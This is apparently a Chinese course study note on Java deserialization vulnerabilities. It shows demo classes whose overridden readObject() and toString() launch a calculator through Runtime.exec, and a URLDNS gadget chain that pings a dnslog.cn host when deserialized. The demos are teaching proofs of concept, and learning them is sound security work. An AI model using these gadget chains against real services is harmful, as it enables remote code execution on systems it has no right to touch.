第35天：安全开发-JavaEE应用原生反序列化重写方法链条分析触发类类加载

时间轴：

序列化与反序列化图解：

演示案例：

Java-原生使用-序列化&反序列化

Java-安全问题-重写方法&触发方法

Java-安全问题-可控其他类重写方法

Java-原生使用-序列化&反序列化

1.为什么进行序列化和反序列化？

个人理解：

因为如果转载使用ctrl+a和ctrl+v的话，那么会导致空格复制不过去什么的

使用序列化可以像是打包好了以后发过去。（源码打包好发过去为序列化，将源码的包解开发过来是反序列化）

打包->封装->文件（序列化）

文件->解包(反序列化)

案例演示：

1.创建SeriaTestDemo。

删除老几样（34天有说）

UserDemo：

package com.example.seriatestdemo;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class UserDemo implements Serializable {public String name="xiaodi";public String gender="man";public Integer age=30;public UserDemo(String name,String gender,Integer age){this.name=name;this.gender=gender;this.age = age;System.out.println(name);System.out.println(gender);}public String toString() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}return "User{" +"name='" + name + '\'' +", gender='" + gender + '\'' +", age=" + age +'}';}//    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//        //指向正确readObject
//        ois.defaultReadObject();
//        Runtime.getRuntime().exec("calc");
//    }}

其中toString（）为UserDemo的内置

序列化操作文件（SerializableDemo）：

package com.example.seriatestdemo;import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;public class SerializableDemo {public static void main(String[] args) throws IOException {//创建一个对象 引用UserDemoUserDemo u = new UserDemo("xdsec","gay1",30);//调用方法进行序列化SerializableTest(u);//ser.txt 就是对象u 序列化的字节流数据}public static void SerializableTest(Object obj) throws IOException {//FileOutputStream() 输出文件//将对象obj序列化后输出到文件ser.txtObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));oos.writeObject(obj);}}

 运行逻辑：

下面写好了一个SerializableTest（obj），他的obj为u，u定义在了上面，UserDemo（）写在了第一个文件中

以下为输出的字节流

反序列化操作文件（UnserializableDemo）：

package com.example.seriatestdemo;import java.io.*;public class UnserializableDemo {public static void main(String[] args) throws IOException, ClassNotFoundException {//调用下面的方法 传输ser.txt 解析还原反序列化Object obj =UnserializableTest("ser.txt");//对obj对象进行输出 默认调用原始对象的toString方法System.out.println(obj);}public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {//读取Filename文件进行反序列化还原ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));Object o = ois.readObject();return o;}
}

运行结果：

转换前的数据

转换后的数据

安全问题：

反序列化利用链

(1) 入口类的 readObject 直接调用危险方法

(2) 入口参数中包含可控类，该类有危险方法， readObject 时调用

(3) 入口类参数中包含可控类，该类又调用其他有危险方法的类， readObject 时调用

(4) 构造函数 / 静态代码块等类加载时隐式执行

(1) 入口类的 readObject 直接调用危险方法

将readObject（）直接调用导致冲突

UserDemo中：

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {//指向正确readObjectois.defaultReadObject();Runtime.getRuntime().exec("calc");}

 与此处相互冲突：

运行时会报错：

理解：

ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;

readObiect（）——>jdk 1.8

反序列化

ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;

重写readObject方法，执行计算器

相当于执行序列化对象里面的readObject方法  而不是本身

可以使用断点来调试：

选择第二个：

点击步入：

跑入到Runtime.java

应该跑入到这里：

可以使用010editor进行分析ser.txt：

指向正向的readObject（），若不指向下面没数据为空

   private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {//指向正确readObjectois.defaultReadObject();Runtime.getRuntime().exec("calc");

(2) 入口参数中包含可控类，该类有危险方法，readObject 时调用

原理： 

如果换一个类 里面自带有readObject 会不会触发呢？

        //正常代码中 创建对象HashMap

        //用到原生态readObject方法去反序列化数据
        //readObject 在ObjectInputSteam 本来在这里
        //HashMap也有readObject方法

        //反序列化readObject方法调用 HashMap里面的readObject
        //执行链：
        //序列化对象hash 来源于自带类HashMap
//         *   Gadget Chain:
//                *   HashMap.readObject()
//                *       HashMap.putVal()
//                *         HashMap.hash()
//                *           URL.hashCode()
        //hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

UrLDns:

package com.example.seriatestdemo;import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;public class UrLDns implements Serializable {public static void main(String[] args) throws IOException, ClassNotFoundException {//正常代码中 创建对象HashMap//用到原生态readObject方法去反序列化数据//readObject 在ObjectInputSteam 本来在这里//HashMap也有readObject方法//反序列化readObject方法调用 HashMap里面的readObject//执行链：//序列化对象hash 来源于自带类HashMap
//         *   Gadget Chain:
//                *   HashMap.readObject()
//                *       HashMap.putVal()
//                *         HashMap.hash()
//                *           URL.hashCode()//hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞HashMap<URL,Integer> hash = new HashMap<>();URL u=new URL("http://dmo1e2.dnslog.cn");hash.put(u,1);SerializableTest(hash);UnserializableTest("dns.txt");}public static void SerializableTest(Object obj) throws IOException {//FileOutputStream() 输出文件//将对象obj序列化后输出到文件ser.txtObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt"));oos.writeObject(obj);}public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {//读取Filename文件进行反序列化还原ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));Object o = ois.readObject();return o;}}

使用正常方法会产生dns.txt

可以使用010editor进行查看：

正常情况下访问dns：

http://dnslog.cn/

能访问上的原因

 （https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java


）

(3) 入口类参数中包含可控类，该类又调用其他有危险方法的类，readObject 时调用

(4) 构造函数/静态代码块等类加载时隐式执行

UnserializableDemo：

public class UnserializableDemo {public static void main(String[] args) throws IOException, ClassNotFoundException {//调用下面的方法 传输ser.txt 解析还原反序列化Object obj =UnserializableTest("ser.txt");//对obj对象进行输出 默认调用原始对象的toString方法System.out.println(obj);}

 UserDemo：

    @Overridepublic String toString() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}return "UserDemo{" +"name='" + name + '\'' +", gender='" + gender + '\'' +", age=" + age +'}';}

因为有toString（）进行string方法的改变，在unserializableDemo中System.out.println(obj);//对obj对象进行输出 默认调用原始对象的toString方法

反序列化总结：

1 、序列化与反序列化

序列化：将内存中的对象压缩成字节流

反序列化：将字节流转化成内存中的对象

2 、为什么有序列化技术

序列化与反序列化的设计就是用来传输数据的。

当两个进程进行通信的时候，可以通过序列化反序列化来进行传输。

能够实现数据的持久化，通过序列化可以把数据永久的保存在硬盘上，也可以理解为通过

序列化将数据保存在文件中。

应用场景

(1) 想把内存中的对象保存到一个文件中或者是数据库当中。

(2) 用套接字在网络上传输对象。

(3) 通过 RMI 传输对象的时候。

3 、几种创建的序列化和反序列化协议

• JAVA 内置的 writeObject() / readObject()

• JAVA 内置的 XMLDecoder()/XMLEncoder

• XStream

• SnakeYaml

• FastJson

• Jackson

4 、为什么会出现反序列化安全问题

内置原生写法分析

• 重写 readObject 方法

• 输出调用 toString 方法

5 、反序列化利用链

(1) 入口类的 readObject 直接调用危险方法

(2) 入口参数中包含可控类，该类有危险方法， readObject 时调用

(3) 入口类参数中包含可控类，该类又调用其他有危险方法的类， readObject 时调用

(4) 构造函数 / 静态代码块等类加载时隐式执行

本文章由李豆豆喵和番薯小羊卷~共同完成！